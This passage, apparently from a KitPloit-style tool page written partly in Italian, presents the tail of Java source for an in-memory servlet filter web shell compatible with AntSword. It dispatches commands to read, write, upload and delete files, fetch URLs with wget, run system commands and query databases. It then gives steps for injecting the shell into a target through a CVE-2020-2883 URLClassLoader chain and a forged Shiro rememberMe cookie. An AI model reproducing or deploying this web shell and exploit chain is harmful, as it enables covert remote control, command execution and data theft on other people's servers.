            String[] pars = {z0, z1, z2, z3};
            sb.append("->|");

            if (funccode.equals("B")) {
                sb.append(FileTreeCode(pars[1]));
            } else if (funccode.equals("C")) {
                sb.append(ReadFileCode(pars[1]));
            } else if (funccode.equals("D")) {
                sb.append(WriteFileCode(pars[1], pars[2]));
            } else if (funccode.equals("E")) {
                sb.append(DeleteFileOrDirCode(pars[1]));
            } else if (funccode.equals("F")) {
                DownloadFileCode(pars[1], response);
            } else if (funccode.equals("U")) {
                sb.append(UploadFileCode(pars[1], pars[2]));
            } else if (funccode.equals("H")) {
                sb.append(CopyFileOrDirCode(pars[1], pars[2]));
            } else if (funccode.equals("I")) {
                sb.append(RenameFileOrDirCode(pars[1], pars[2]));
            } else if (funccode.equals("J")) {
                sb.append(CreateDirCode(pars[1]));
            } else if (funccode.equals("K")) {
                sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2]));
            } else if (funccode.equals("L")) {
                sb.append(WgetCode(pars[1], pars[2]));
            } else if (funccode.equals("M")) {
                sb.append(ExecuteCommandCode(pars[1], pars[2]));
            } else if (funccode.equals("N")) {
                sb.append(showDatabases(pars[0], pars[1]));
            } else if (funccode.equals("O")) {
                sb.append(showTables(pars[0], pars[1], pars[2]));
            } else if (funccode.equals("P")) {
                sb.append(showColumns(pars[0], pars[1], pars[2], pars[3]));
            } else if (funccode.equals("Q")) {
                sb.append(query(pars[0], pars[1], pars[2]));
            } else if (funccode.equals("A")) {
                sb.append(SysInfoCode(request));
            }
        } catch (Exception e) {
            sb.append("ERROR" + "://" + e.toString());
            e.printStackTrace();
        }
        sb.append("|<-");
        response.getWriter().print(sb.toString());
    } else {
        chain.doFilter(request, response);
    }
}

public void destroy() {
}

}

root@kitploit:~
Ora puoi eseguirlo direttamente. Per prima cosa, crea il pacchetto jar di org.chabug.memshell.InjectFilterShell.```bash
jar cvf tttt.jar org\chabug\memshell\InjectFilterShell.class

image-20200825105630712

Poi scrivere tttt.jar e AntSwordFilterShell.class nella destinazione. Infine, usare CVE_2020_2883_URLClassLoader per generare il cookie rememberMe e colpire il bersaglio.

URLClassLoader -> tttt.jar -> InjectFilterShell static -> defineClass byte -> AntSwordFilterShell

Dimostrazione:

Scarica lo strumento